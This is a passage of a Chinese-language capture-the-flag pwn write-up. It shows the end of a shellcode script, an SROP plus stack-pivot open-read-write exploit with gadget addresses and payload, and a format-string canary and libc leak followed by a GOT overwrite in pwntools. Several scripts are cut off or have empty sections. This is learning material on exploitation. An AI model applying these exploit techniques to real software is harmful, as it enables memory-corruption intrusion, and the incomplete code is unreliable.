fd mov rax, 0x13 # __NR_readv = 19 mov rsi, {IOVEC_ADDR} # RSI = &iovec mov rdx, 0x1 # RDX = 1 (iovec count) syscall # 讀取內容 /* ------------------- 4. writev(STDOUT, &iov, 1) ------------------- */ mov rax, 0x14 # __NR_writev = 20 mov rdi, 0x1 # RDI = STDOUT_FILENO (1) mov rsi, {IOVEC_ADDR} # RSI = &iovec mov rdx, 0x1 # RDX = 1 (iovec count) syscall # 輸出內容 /* ------------------- 5. exit(0) ------------------- */ mov rax, 0x3c # __NR_exit = 60 xor rdi, rdi syscall """ )p.sendline(shellcode) p.interactive()
only_read(味复刻)
ban了 execve
這一題是SROP + 栈迁移 + ORW srop 是 sigreturn rop 的簡稱 參考影片:https://www.bilibili.com/video/BV1ob32zuExQ/?spm_id_from=333.337.search-card.all.click&vd_source=b128d59725d91ecef706ce0b01795a8f
有一個gift:
return 15 是一個sigreturn的系統調用 signal frame No.1 –> bss 寫入”/flag\x00” (6位) signal frame No.2 –> SYS_open signal frame No.3 –> SYS_read signal frame No.4 –> SYS_write 先看看bss段:
0x404000 - 0x405000 rwp bss = 0x404000
syscall = 0x40136d (gift)
栈迁移 即使攻击者可以控制返回地址,栈上的空间(16字节)也太小了,无法放下复杂的攻击载荷(payload)。 这通常通过一个 leave; ret “gadget”(小工具代码段)来实现。 leave 指令等同于 mov rsp, rbp; pop rbp
ORW 可以參考week2的noshell
payload1 「栈遷移」+「布置 sigframe」 vuln buffer 只有 0x10 bytes 太小,放不下 sigframe(sigframe 結構很大)。 所以我們利用 leave; ret gadget 來把 stack 指針 rsp 移到一個大的可控區域 找leave; ret gadget :
leave_ret = 0x4012b0 payload = b’A’ * 0x10 payload += p64(bss) payload += p64(leave_ret)
No.1 No.2 No.3 No.4 已知 syscall gadget = 0x40136d(gift)bss = 0x404000 SYS_read :
SYS_open:
SYS_read:
SYS_ write
Week4 fmt and got(味复刻)
第一次: plt->got->plt->更改函数改got->重新执行->去往真实函数
第二次plt->got->真实函数
存放函数地址的数据表,称为全局偏移表(GOT, Global Offset Table),而那个额外代码段表,称为程序链接表(PLT,Procedure Link Table)
Ubuntu GLIBC 2.35-0ubuntu3.10 用patchelf更換 libc 和 ld 文件
(0xd4a8-0xd3a0)/8 = 33 , 33+6 = 39
%39$p
%61$p
0x7ffff7c29e40 - 0x7ffff7c00000 = 0x29E40
libc_base = libc - 0x29E40
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *p=process('./fmt_got' ) elf= ELF('./fmt_got' ) libc=ELF('./libc.so.6' ) p.recvuntil('> ' ) payload1=b'aaaa%39$p.%61$p' p.sendline(payload1) p.recvuntil('aaaa' ) canary=int (p.recvuntil(b'00' ).decode(),16 ) p.recvuntil('.' ) libc_a = int (p.recvuntil(b'\n' ).decode(),16 ) libc_base = libc_a - 0x29E40 print (hex (canary))print (hex (libc_a))read_flag_addr = elf.symbols['read_flag' ] puts_got = elf.got['puts' ] print (hex (read_flag_addr))print (hex (puts_got))payload2 = b'A' *(0x10 )
format-string 改寫 GOT → 讓程式呼叫 read_flag